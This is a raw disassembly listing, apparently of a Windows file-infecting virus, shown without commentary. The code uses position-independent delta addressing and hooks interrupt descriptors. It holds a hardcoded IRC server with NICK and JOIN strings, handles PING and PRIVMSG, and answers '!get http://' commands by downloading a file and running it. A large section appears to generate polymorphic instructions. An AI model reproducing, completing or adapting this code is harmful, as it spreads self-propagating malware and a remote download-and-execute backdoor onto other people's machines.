		dd 2358DAF7h, 3357C3C2h, 0FFC1E8FFh, 840FFFFFh,	0A5h, 73286850h
		dd 0D48B0000h, 0CC8B006Ah, 68406Ah, 6A001000h, 6A5202h
		dd 732868h, 51006A00h, 95FF5053h, 103F12h, 95FF595Fh, 103E62h
		dd 7174FF85h, 15908D8Bh, 0CE30010h, 1000958Dh, 0D1030010h
		dd 0D2FF5357h, 3EFE858Bh, 8F8D0010h, 2916h, 0FFFF2BE8h
		dd 16858BFFh, 8D00103Fh, 29638Fh, 0FF1AE800h, 858BFFFFh
		dd 103F02h, 296A8F8Dh, 9E80000h, 8BFFFFFFh, 103F0685h
		dd 74C08500h, 778F8D20h, 0E8000029h, 0FFFFFEF4h, 3F0E858Bh
		dd 0C0850010h, 8F8D0B74h, 2984h, 0FFFEDFE8h, 5FC78BFFh
		dd 0E855C3h, 5D000000h,	1B24ED81h, 0C9330010h, 1EAF858Dh
		dd 54510010h, 51505151h, 8E95FF51h, 8700103Eh, 95FF2404h
		dd 103E62h, 4C25Dh, 0E855h, 815D0000h, 101B53EDh, 8DFF6A00h
		dd 101B1E95h, 0CD525000h, 2A002420h, 0CC48300h,	6485C766h
		dd 0CD00101Bh, 6685C720h, 2400101Bh, 5D002A00h,	581A6AC3h
		dd 9E8h, 61428D00h, 75C9FEAAh, 9569C3F0h, 103F7Ch, 8088405h
		dd 7C958942h, 0F700103Fh, 0E855C3E2h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101BADh
		mov	ebx, [ebp+103F80h]
		cmp	dword ptr [esp+8], 0
		jz	loc_43AD31
		sub	esp, 208h
		push	esp
		push	104h
		call	dword ptr [ebp+103EB6h]
		mov	edi, esp
		lea	eax, [esp+104h]
		push	eax
		push	0
		call	near ptr loc_43AC9E+1
		push	esi
		push	edx
		push	edx


loc_43AC9E:				; CODE XREF: .rsrc:0043AC96p
		add	[edi-1], dl
		xchg	eax, ebp
		mov	dl, 3Eh
		adc	[eax], al
		xor	ecx, ecx
		lea	edx, [edi+104h]
		push	ecx
		push	ecx
		push	2
		push	ecx
		push	1
		push	40000000h
		push	edx
		call	dword ptr [ebp+103E7Eh]
		xchg	eax, esi
		test	esi, esi
		jz	short loc_43AD21


loc_43ACC6:				; CODE XREF: .rsrc:0043ACF4j
		push	eax
		push	esp
		push	104h
		push	edi
		push	dword ptr [esp+220h]
		call	dword ptr [ebp+103F5Eh]
		pop	ecx
		test	eax, eax
		jz	short loc_43ACF6
		jecxz	short loc_43ACF6
		push	eax
		mov	edx, esp
		push	0
		push	edx
		push	ecx
		push	edi
		push	esi
		call	dword ptr [ebp+103EF6h]
		pop	ecx
		test	eax, eax
		jnz	short loc_43ACC6


loc_43ACF6:				; CODE XREF: .rsrc:0043ACDEj
					; .rsrc:0043ACE0j
		push	esi
		call	dword ptr [ebp+103E62h]
		lea	edx, [edi+44h]
		push	edx
		push	edi
		push	44h
		pop	eax
		lea	edx, [edi+104h]
		stosd
		xor	eax, eax
		push	10h
		pop	ecx
		rep stosd
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	edx
		call	dword ptr [ebp+103E86h]


loc_43AD21:				; CODE XREF: .rsrc:0043ACC4j
		add	esp, 208h
		push	dword ptr [esp+8]
		call	dword ptr [ebp+103F4Eh]


loc_43AD31:				; CODE XREF: .rsrc:0043AC72j
		push	ebx
		call	dword ptr [ebp+103F4Eh]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		cmp	byte ptr [esi],	0Ah
		jnz	short loc_43AD42
		inc	esi


loc_43AD42:				; CODE XREF: .rsrc:0043AD3Fj
		mov	ecx, [ebp+10158Ch]
		jecxz	short loc_43AD63
		lea	edx, [ebp+101000h]
		add	edx, ecx
		push	esi
		call	edx
		test	al, al
		js	loc_43AE7C
		jz	loc_43AE73


loc_43AD63:				; CODE XREF: .rsrc:0043AD48j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_43AD78


loc_43AD68:				; CODE XREF: .rsrc:0043AD75j
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_43AE73
		cmp	byte ptr [esi],	20h
		jnz	short loc_43AD68
		inc	esi


loc_43AD78:				; CODE XREF: .rsrc:0043AD66j
		cmp	dword ptr [esi], 474E4950h
		jnz	short loc_43ADC2
		mov	ecx, edi
		mov	byte ptr [esi+1], 4Fh
		sub	ecx, esi
		push	ecx
		push	0
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103F46h]
		pop	ecx
		cmp	eax, ecx
		jnz	loc_43AE7C
		lea	eax, [ebp+101EA3h]
		push	0
		push	0Ch
		push	eax
		push	ebx
		call	dword ptr [ebp+103F46h]
		cmp	eax, 0Ch
		jnz	loc_43AE7C
		jmp	loc_43AE73
; ---------------------------------------------------------------------------


loc_43ADC2:				; CODE XREF: .rsrc:0043AD7Ej
		cmp	dword ptr [esi], 56495250h
		jnz	loc_43AE73
		add	esi, 8


loc_43ADD1:				; CODE XREF: .rsrc:0043ADDCj
		lodsb
		cmp	al, 0Dh
		jz	loc_43AE73
		cmp	al, 20h
		jnz	short loc_43ADD1
		lodsb
		cmp	al, 3Ah
		jnz	loc_43AE73
		lodsd
		or	eax, 20202020h
		cmp	eax, 74656721h
		jnz	short loc_43AE73
		lodsb
		cmp	al, 20h
		jnz	short loc_43AE75
		cmp	dword ptr [esi-1], 74746820h
		jnz	short loc_43AE73
		cmp	dword ptr [esi+3], 2F2F3A70h
		jnz	short loc_43AE73
		mov	byte ptr [edi-1], 0
		rdtsc
		mov	edx, 2710h
		mul	edx
		push	edx
		call	dword ptr [ebp+103EE6h]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	near ptr loc_43AE31+2
		inc	esp
		outsd
		ja	short loc_43AE9C
		insb
		outsd
		popa


loc_43AE31:				; CODE XREF: .rsrc:0043AE25p
		db	64h
		add	bh, bh
		xchg	eax, ebp
		push	esi
		aas
		adc	[eax], al
		test	eax, eax
		jz	short loc_43AE73
		xor	ecx, ecx
		mov	[ebp+103F80h], eax
		push	ecx
		push	80000200h
		push	ecx
		push	ecx
		push	esi
		push	eax
		call	dword ptr [ebp+103F5Ah]
		lea	edx, [ebp+101BA7h]
		push	eax
		xor	ecx, ecx
		push	esp
		push	ecx
		push	eax
		push	edx
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]


loc_43AE73:				; CODE XREF: .rsrc:0043AD5Dj
					; .rsrc:0043AD6Cj ...
		clc
		retn
; ---------------------------------------------------------------------------


loc_43AE75:				; CODE XREF: .rsrc:0043ADF7j
		or	byte ptr [ebp+10157Fh],	1


loc_43AE7C:				; CODE XREF: .rsrc:0043AD57j
					; .rsrc:0043AD97j ...
		stc
		retn
; ---------------------------------------------------------------------------
		push	1
		push	1
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		call	dword ptr ds:5A74C085h ; CODE XREF: .rsrc:0043AFEDp
		xor	ebx, ebx
		mov	edx, eax
		mov	bl, 0Bh
		add	edx, [eax+3Ch]
		lea	esi, [ebp+101DCBh]


loc_43AE9C:				; CODE XREF: .rsrc:0043AE2Cj
		mov	edi, [edx+10Ch]
		mov	ecx, [edx+108h]
		add	edi, eax
		sub	ecx, ebx


loc_43AEAC:				; CODE XREF: .rsrc:0043AEB5j
		pusha
		mov	ecx, ebx
		repe cmpsb
		popa
		jz	short loc_43AEB9
		inc	edi
		loop	loc_43AEAC
		jmp	short locret_43AEE7
; ---------------------------------------------------------------------------


loc_43AEB9:				; CODE XREF: .rsrc:0043AEB2j
		add	edi, 0Fh
		push	ebx
		mov	ecx, esp
		push	edi
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F22h]
		mov	ecx, [ebp+103E96h]
		add	esp, 0Ch
		sub	ecx, edi
		sub	ecx, 7
		mov	dword ptr [edi], 0E8006Ah
		mov	[edi+3], ecx

locret_43AEE7:				; CODE XREF: .rsrc:0043AEB7j
		retn
; ---------------------------------------------------------------------------
aSoftwareMicr_5	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer',0
aTargethost	db 'TargetHost',0
		dw 2
		dd 5000h, 72700000h, 6D69786Fh,	6372692Eh, 616C6167h, 702E7978h
		dd 494E006Ch, 66204B43h, 646A646Eh, 0A617A77h, 52455355h
		dd 4F4A6520h, 26204E49h, 74726976h, 0E8550A75h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101EB5h
		mov	byte ptr [ebp+10157Fh],	0
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	short loc_43AFBD
		push	1Eh
		mov	esi, [ebp+103E72h]
		pop	ecx


loc_43AF8A:				; CODE XREF: .rsrc:loc_43AFB9j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_43AFB9
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_43AFB9
		lea	edi, [ebp+103F76h]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+1038ECh]
		pop	dword ptr [ebp+103912h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_43AFB9:				; CODE XREF: .rsrc:0043AF8Dj
					; .rsrc:0043AF94j
		loop	loc_43AF8A
		jmp	short loc_43B00D
; ---------------------------------------------------------------------------


loc_43AFBD:				; CODE XREF: .rsrc:0043AF7Fj
		call	near ptr dword_43A664+47Fh
		cmp	dword ptr [esp+8], 4
		jnz	short loc_43B00D
		call	near ptr loc_43AFD5+1
		push	ebx
		inc	esi
		inc	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_43AFD5:				; CODE XREF: .rsrc:0043AFC9p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	[ebx], cl
		sal	byte ptr [ebp+ecx-6Dh],	6Ah
		add	dl, [ebx-1]
		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		call	eax
		xchg	eax, ebx
		call	near ptr loc_43AE87+2
		call	near ptr loc_43B001+1
		push	ebx
		inc	esi
		inc	ebx
		pop	edi
		dec	edi
		push	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_43B001:				; CODE XREF: .rsrc:0043AFF2p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch


loc_43B009:				; CODE XREF: .rsrc:loc_43B009j
		jl	short loc_43B009
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_43B00D:				; CODE XREF: .rsrc:0043AFBBj
					; .rsrc:0043AFC7j
		call	sub_43A612
		dec	dword ptr [ebp+1012D4h]
		xor	ecx, ecx
		lea	eax, [ebp+104324h]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		push	ecx
		call	dword ptr [ebp+103EC2h]
		call	near ptr loc_43B03D+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_43B03D:				; CODE XREF: .rsrc:0043B02Ep
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 70737700h, 746E6972h, 50004166h, 3E6E95FFh, 85890010h
		dd 103E76h, 8D8D310Fh, 101985h,	3F7C8589h, 0FF510010h
		dd 103EC695h, 4689300h,	8D000000h, 101992B5h, 0BD8D5900h
		dd 103F62h, 0FFF5C2E8h,	85C766FFh, 101E75h, 0A5835000h
		dd 101E77h, 35958D00h, 5000101Eh, 6A016A54h, 2685200h
		dd 0FF800000h, 103F6695h, 5AC08500h, 8D8D2275h,	101E68h
		dd 8D066A52h, 101E75B5h, 50565400h, 0FF525150h,	103F6A95h
		dd 95FF5800h, 103F62h, 418385C6h, 0E8000010h, 0Ch, 434F5357h
		dd 2E32334Bh, 4C4C44h, 3EC695FFh, 68930010h, 7,	18E9B58Dh
		dd 8D590010h, 103F32BDh, 0F53DE800h, 0CE8FFFFh,	57000000h
		dd 4E494E49h, 442E5445h, 0FF004C4Ch, 103EC695h,	0FC08500h
		dd 23584h, 5689300h, 8D000000h,	101927B5h, 0BD8D5900h
		dd 103F4Eh, 0FFF506E8h,	52BD83FFh, 103Fh, 210840Fh, 0EC810000h
		dd 190h, 1016854h, 95FF0000h, 103F32h, 190C481h, 8B500000h
		dd 52006AD4h, 3F5295FFh, 0C0850010h, 680D7559h,	1388h
		dd 3EE695FFh, 0E2EB0010h, 1E77BD83h, 75000010h,	7B858D29h
		dd 5000101Eh, 3F3E95FFh, 0C0850010h, 189840Fh, 408B0000h
		dd 0FF008B0Ch, 77858F30h, 0C600101Eh, 10418385h, 6A0100h
		dd 26A016Ah, 3F4A95FFh,	0F8830010h, 60840FFFh, 93000001h
		dd 1E73958Dh, 106A0010h, 95FF5352h, 103F3Ah, 850FC085h
		dd 140h, 1E94BD8Dh, 8B10010h, 0FFFA3CE8h, 9468FFh, 2B5E0000h
		dd 243489E6h, 0BE95FF54h, 8D00103Eh, 101EA2BDh,	0E801B100h
		dd 0FFFFFA1Dh, 1E8F958Dh, 6A0010h, 1468h, 0FF535200h, 103F4695h
		dd 24448D00h, 24958D14h, 50001043h, 8B0AB60Fh, 0C1142444h
		dd 4A0208E0h, 24A1201h,	0B034A12h, 80082444h, 0E0C10FE1h
		dd 440B5108h, 32FF1024h, 84BD8D50h, 0E800103Fh,	1Ch, 78362E25h
		dd 2E202E20h, 25253A20h, 78382E25h, 25207825h, 4F4A0A73h
		dd 204E49h, 7695FF57h, 8100103Eh, 0ACC4h, 50006A00h, 95FF5357h
		dd 103F46h, 15988D8Bh, 6A0010h,	0C96B1BE3h, 5E8510Dh, 26000000h
		dd 0A6425h, 7695FF57h, 8300103Eh, 0EB500CC4h, 7680Bh, 0BD8D0000h
		dd 101EA8h, 95FF5357h, 103F46h,	547EC085h, 3F84B58Dh, 0A5830010h
		dd 101598h, 838D8D00h, 2B001041h, 51006ACEh, 95FF5356h
		dd 103F42h, 7E00F883h, 0FE8B912Fh, 3F84B58Dh, 0DB00010h
		dd 1075AEF2h, 0FA2AE860h, 7261FFFFh, 8D09E317h,	0EAEB0177h
		dd 0CE2BCF8Bh, 3F84BD8Dh, 0A4F30010h, 0B9EBF787h, 3695FF53h
		dd 8000103Fh, 10157FBDh, 2A740100h, 753068h, 0E695FF00h
		dd 8000103Eh, 104183BDh, 11740000h, 1E7785C7h, 10h, 85C60000h
		dd 104183h, 0FE08E900h,	85C7FFFFh, 101588h, 80000000h
		dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch
		dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h
		dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h
		dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h
		dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h
		dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h
		dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h
		dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h
		dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch
		dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h
		dd 21656D69h, 27744920h, 616C2073h, 0A8216574h,	294CA2A1h
		dd 1310A614h, 0CA10A614h, 8F7F95D1h, 0E5C76898h, 0BD27B1FAh
		dd 38D82Dh, 18h	dup(0)
		dd 60000000h, 42F4A583h, 83000010h, 1042F8A5h, 0B70F0000h
					; CODE XREF: .rsrc:0043C053p
					; .rsrc:0043C090p ...
		dd 538D1443h, 4BB70F18h, 8BD00306h, 2B242444h, 19720C42h
		dd 7308423Bh, 14428B14h, 890C422Bh, 1042F495h, 0F8858900h
		dd 0EB001042h, 28C28305h, 0C261D9E2h, 85880004h, 102467h
		dd 64E8h, 206800h, 858D0000h, 102394h, 74183959h, 4C0830Ch
		dd 85FFF7E2h, 1042D0h, 3D9F7C3h, 1024678Dh, 0FF10E300h
		dd 8FFC70h, 0E204E883h,	949D89F6h, 83001023h, 574003Ah
		dd 7203322Bh, 0FC4E8D10h, 835E5B58h, 474003Ah, 3EB32FFh
		dd 0E81072FFh, 0FFFFFF57h, 8D2BCE2Bh, 1042F8h, 344B0358h
		dd 0D4858FC3h, 0C7001042h, 1042D085h, 0
		dd 3CE800h, 858B0000h, 1042D0h,	0FFF6A9E8h, 18E8FFh, 0BD830000h
		dd 1042D0h, 89087500h, 1024109Dh, 0FF9CEB00h, 1042D08Dh
		dd 858FC300h, 1042D4h, 42D09589h, 3E80010h, 33000000h
		dd 938BC3C9h, 80h, 0FEEDE852h, 9503FFFFh, 1042F8h, 7A83D603h
		dd 840F000Ch, 107h, 107A83h, 0FD840Fh, 428B0000h, 0C8E8500Ch
		dd 3FFFFFEh, 1042F885h,	50C60300h, 0F980088Ah, 80197400h
		dd 3742EF9h, 8BF1EB40h,	0E1810148h, 0DFDFDFDFh,	4C44F981h
		dd 0EC75004Ch, 83C82B59h, 8F0FFAF9h, 0B7h, 0FE788166h
		dd 850F3233h, 0ABh, 3A8356h, 4A8B0575h,	8B02EB10h, 51F1030Ah
		dd 0FFFE72E8h, 0F8B503FFh, 0AD001042h, 0FB78C085h, 84840Fh
		dd 0B5FF0000h, 1042F8h,	0FE55E850h, 8503FFFFh, 1042F8h
		dd 42F8858Fh, 4030010h,	0C0835324h, 0FDB3302h, 12E308B6h
		dd 5320C980h, 42424C1h,	29241C29h, 405B240Ch, 0FB81E9EBh
		dd 0DDBBD70Fh, 0FB813E74h, 0DB6E45A8h, 0FB813674h, 0FFA13B59h
		dd 0FB812E74h, 0ACB522D6h, 0FB812674h, 0F358E993h, 0FB811E74h
		dd 0F358E97Dh, 0FB811674h, 0E1253F46h, 0FB810E74h, 0E1253F30h
		dd 95FF0674h, 1042D4h, 0FF71E95Bh, 835EFFFFh, 0EFE914C2h
		dd 0C3FFFFFEh, 58046A03h, 0FFF549E8h, 419588FFh, 66001026h
		dd 21831B8h, 3E4C0E2h, 0AB66E202h, 0E858066Ah, 0FFFFF52Eh
		dd 8708C283h, 58056AD1h, 0FFF521E8h, 3FA80FFh, 50B00B73h
		dd 26418502h, 0EBAA0010h, 58686A27h, 3FA80AAh, 11B01875h
		dd 0FFF501E8h, 1B8FFh, 0D2840000h, 0E0D10D74h, 0F6EBCAFEh
		dd 0B805EBh, 0AB800000h, 8DC3BFE2h, 1039CC95h, 0F7D72B00h
		dd 85F7C3DAh, 1039C0h, 10000000h, 0C1C0950Fh, 85F60BE0h
		dd 1039BEh, 66067501h, 0EB25890Dh, 0BE85F613h, 2001039h
		dd 0D660675h, 4EB2531h,	25010D66h, 0BCE8AB66h, 8BFFFFFFh
		dd 95893443h, 1042E8h, 85F7C3ABh, 1039C0h, 10000000h, 4C0950Fh
		dd 9CE8AABCh, 89FFFFFFh, 1042EC95h, 0BE85F600h,	1001039h
		dd 310F0475h, 0C02B02EBh, 85F7C3ABh, 1039C0h, 10000000h
		dd 858A2774h, 1039BAh, 660BE0C1h, 66458B0Dh, 0AAF8B0ABh
		dd 39BA858Ah, 0E0C10010h, 6467051Bh, 33AB0689h,	0EBAB66C0h
		dd 8F64B812h, 8AAB0005h, 1039BA85h, 0C1580400h,	0C3AB18E0h
		dd 279C85C6h, 0EB090010h, 0EBFCB025h, 0EBB86620h, 0EBAB6600h
		dd 58046A19h, 0FFF409E8h, 0D2048DFFh, 6608E0C1h, 66C08905h
		dd 0B003EBABh, 0F6AAA90h, 0F3F0E858h, 8580FFFFh, 10279Ch
		dd 8FA8006h, 0D2842F73h, 2 dup(0CAFEC374h), 0CAFEC774h
		dd 0CAFED974h, 0CAFE0C74h, 0CAFE0F74h, 0F9B00F74h, 87B0CBEBh
		dd 0EBDBB0AAh, 0EBF5B0C4h, 0EBF8B0C0h, 85F7C3BCh, 1039C0h
		dd 2000h, 27586B0h, 4F8D0404h, 0B8A58AFEh, 66001039h, 5FC80ABh
		dd 0B00775h, 40FF4F80h,	0FF62E8AAh, 85F7FFFFh, 1039C0h
		dd 4000h, 3166B866h, 29B40275h,	18B0AB66h, 39BA850Ah, 0E0C00010h
		dd 3DE8AA03h, 0B0FFFFFFh, 0C085F788h, 1039h, 75000080h
		dd 8A86B002h, 1039B8A5h, 80AB6600h, 77505FCh, 4F8000B0h
		dd 0C3AA40FFh, 39CCBD8Dh, 0DE80010h, 0F7FFFFFFh, 1039C085h
		dd 40000000h, 0B0037400h, 85F7AA60h, 1039C0h, 10000000h
		db 74h,	7, 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		dd 0F020000h, 0F084h, 0AAE8B000h, 0D8BD89ABh, 0E8001042h
		dd 0FFFFFECCh, 0ABAAE8B0h, 42DCBD89h, 0BDE80010h, 0F7FFFFFEh
		dd 1039C085h, 300h, 0F71A7400h,	1039C085h, 0
		dd 0E80A7402h, 0FFFFFE2Eh, 0FFFE9BE8h, 0AAE9B0FFh, 0D8858BABh
		dd 8B001042h, 89C82BCFh, 1042E0BDh, 0FC488900h,	0FF6467B8h
		dd 0C033AB36h, 85F7AB66h, 1039C0h, 3, 85F61374h, 1039BEh
		dd 0E80A7480h, 0FFFFFDAAh, 0FFFE5BE8h, 6467B8FFh, 33AB2689h
		dd 0F7AB66C0h, 1039C085h, 300h,	0F65A7400h, 1039BE85h
		dd 0A758000h, 0FFFD81E8h, 0FE32E8FFh, 2E8FFFFh,	0B0FFFFFDh
		dd 0FB14E820h, 39E3FFFFh, 15FFB866h, 0AB91AB66h, 39C0958Bh
		dd 0D2F70010h, 3C2F7h, 14750000h, 0FFFCDCE8h, 0E81FB0FFh
		dd 0FFFFFAEEh, 15FFB866h, 0AB91AB66h, 858BCF8Bh, 1042E0h
		dd 4889C82Bh, 0C085F7FCh, 3001039h, 74000000h, 0C085F738h
		dd 1039h, 740C0000h, 0C085F72Ch, 1039h,	75020000h, 0FDC2E80Ah
		dd 4BE8FFFFh, 0F7FFFFFDh, 1039C085h, 0
		dd 0E80A7408h, 0FFFFFDACh, 0FFFD61E8h, 0C085F7FFh, 4001039h
		dd 74000000h, 0FD96E817h, 29B8FFFFh, 0ABC8FEC0h, 74C008B8h
		dd 75B8AB04h, 0AB67EBF8h, 0FFFD7FE8h, 0C085F7FFh, 8001039h
		dd 75000000h, 0BEBD8072h, 1039h, 65E86974h, 0B8FFFFFDh
		dd 0C9291829h, 39BAA50Ah, 0E4C00010h, 0BAA50A03h, 0AB001039h
		dd 0FFFD4BE8h, 0AAB1B0FFh, 39BE858Ah, 0E8AA0010h, 0FFFFFD3Ch
		dd 0BA85B60Fh, 8D001039h, 4004C004h, 0B008E0C1h, 0B0AB668Dh
		dd 0E857AA01h, 0FFFFFD20h, 66243C29h, 59FBE2B8h, 39C085F7h
		dd 100010h, 7740000h, 66AA49B0h, 2FA75B8h, 0E8AB66E1h
		dd 0FFFFFCFCh, 33AAE8B0h, 0BD89ABC0h, 1042C4h, 39C085F7h
		dd 200010h, 3B750000h, 0FCDEE857h, 85F7FFFFh, 1039C0h
		dd 80000000h, 0BD891874h, 1042F0h, 0FFFD39E8h, 0FCC2E8FFh
		dd 0C3B0FFFFh, 0FCBAE8AAh, 8B5AFFFFh, 2B58B0CFh, 0B8850ACAh
		dd 89001039h, 0E8AAFC4Ah, 0FFFFFCA4h, 0C081B866h, 39C085F7h
		dd 400010h, 3740000h, 0A28C480h, 1039B8A5h, 89AB6600h
		dd 1042C8BDh, 85F7AB00h, 1039C0h, 40000000h, 50B00975h
		dd 39B88502h, 0F7AA0010h, 1039C085h, 8000h, 0B00B7500h
		dd 0B9850AB8h, 0AA001039h, 0B8663DEBh, 85F71831h, 1039C0h
		dd 100h, 29B00274h, 39B9A50Ah, 0E4C00010h, 0B9A50A03h
		dd 66001039h, 81B866ABh, 0C085F7F0h, 1039h, 75000002h
		dd 0AC8B402h, 1039B9A5h, 89AB6600h, 1042E4BDh, 29CCB800h
		dd 0F7AB0000h, 1039C085h, 800h,	0E8717400h, 0FFFFFBFCh
		dd 39C085F7h, 4000010h,	0B750000h, 850AB8B0h, 1039BAh
		dd 0F74DEBAAh, 1039C085h, 80000h, 66117500h, 0AE083B8h
		dd 1039BAA5h, 33AB6600h, 15EBAAC0h, 1829B866h, 39BAA50Ah
		dd 0E4C00010h, 0BAA50A03h, 66001039h, 0C085F7ABh, 1039h
		dd 66000010h, 74C081B8h, 8C48003h, 39BAA50Ah, 0AB660010h
		dd 0BE85B60Fh, 0AB001039h, 0FFFB8BE8h, 0C085F7FFh, 1039h
		dd 74400000h, 250B00Eh,	1039B885h, 71E8AA00h, 8DFFFFFBh
		dd 8D89FE4Fh, 1042CCh, 39C085F7h, 10h, 17748000h, 8BAAE8B0h
		dd 1042F085h, 83C72B00h, 89AB04E8h, 1042F0BDh, 0E805EB00h
		dd 0FFFFFBB2h, 0FFFB3BE8h, 0C085F7FFh, 1039h, 75000100h
		dd 0A40B00Bh, 1039B885h, 0FEBAA00h, 0C083B866h,	39B8A50Ah
		dd 0AB660010h, 0F7AA01B0h, 1039C085h, 2000000h,	0F72F7500h
		dd 1039C085h, 4000000h,	0B01A7500h, 0BA850AC0h,	8A001039h
		dd 1039BFA5h, 10E0C100h, 8166B866h, 0EB00B0ABh,	0A40B008h
		dd 1039BA85h, 85F7AA00h, 1039C0h, 80000h, 0B8661075h, 0A50AE883h
		dd 1039B9h, 1B0AB66h, 48B008EBh, 39B9850Ah, 0E8AA0010h
		dd 0FFFFFAB0h, 39C085F7h, 10h, 75B10010h, 0B8662575h, 0A50AF883h
		dd 1039B9h, 0C033AB66h,	0CCBD29AAh, 0F7001042h,	1039C085h
		dd 20000000h, 0B11F7500h, 661BEB77h, 0A1809B8h,	1039B9A5h
		dd 3E4C000h, 39B9A50Ah,	0AB660010h, 42CCBD29h, 0C18A0010h
		dd 42CCA58Ah, 0AB660010h, 850258B0h, 1039B8h, 0FA4AE8AAh
		dd 85F7FFFFh, 1039C0h, 2000003h, 85F72C74h, 1039C0h, 8000000h
		dd 85F72075h, 1039C0h, 6000000h, 0AFE80A75h, 0E8FFFFF9h
		dd 0FFFFFA1Ch, 0FFF9D1E8h, 0FA12E8FFh, 85F7FFFFh, 1039C0h
		dd 10000000h, 0C9B00874h, 0F9FEE8AAh, 85F7FFFFh, 1039C0h
		dd 400000h, 7B02A74h, 39B8852Ah, 0E0C10010h, 8890D1Ah
		dd 0A5020024h, 1039B8h,	8003E4C0h, 0E8AB04C4h, 0FFFFF9D0h
		dd 0E8AA61B0h, 0FFFFF9C8h, 0E0FFB866h, 39B8A50Ah, 0AB660010h
		dd 0FFF9B7E8h, 0C085F7FFh, 20001039h, 74000000h, 0C085F76Fh
		dd 1039h, 74800000h, 8BC78B1Fh,	1042F08Dh, 89C12B00h, 0FFE8FC41h
		dd 0E8FFFFF9h, 0FFFFF988h, 0E8AAC3B0h, 0FFFFF980h, 8D8BC78Bh
		dd 1042C4h, 4189C12Bh, 0A58B0FCh, 1039B885h, 65E8AA00h
		dd 0F7FFFFF9h, 1039C085h, 80000000h, 660C7400h,	0AC350B8h
		dd 1039B885h, 660AEB00h, 0AE0FFB8h, 1039B8A5h, 0E8AB6600h
		dd 0FFFFF93Ch, 39C085F7h, 30010h, 5F740200h, 858BCF8Bh
		dd 1042DCh, 4889C82Bh, 0F7C933FCh, 1039C085h, 0
		dd 8D0E7501h, 1039B885h
		db 0
; ---------------------------------------------------------------------------


loc_43BF11:				; CODE XREF: .rsrc:0043BF17j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_43BF11
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_43BF2E
		mov	ax, 0C031h
		stosw


loc_43BF2E:				; CODE XREF: .rsrc:0043BF26j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_43BF47
		mov	ax, 0C031h
		stosw


loc_43BF47:				; CODE XREF: .rsrc:0043BF3Fj
		mov	al, 0C3h
		stosb
; ---------------------------------------------------------------------------
		dw 0D1E8h
		db 0F8h	; ø
		db 2 dup(0FFh),	8Dh
		db  85h	; …
		align 2
		dw 1039h
		db    0
; ---------------------------------------------------------------------------
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_43BF67
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_43BF80
; ---------------------------------------------------------------------------


loc_43BF67:				; CODE XREF: .rsrc:0043BF5Fj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_43BF80:				; CODE XREF: .rsrc:0043BF65j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_43BFA0
		neg	eax


loc_43BFA0:				; CODE XREF: .rsrc:0043BF9Cj
		stosd
		retn	4
; ---------------------------------------------------------------------------
		db  56h	; V
		db 57h,	83h, 0BDh
		db    0
		db 43h,	10h, 0
		db    0
		db 0Fh,	84h, 0D9h
		db    1
		db 2 dup(0), 0E8h
		db  0Dh
		align 4
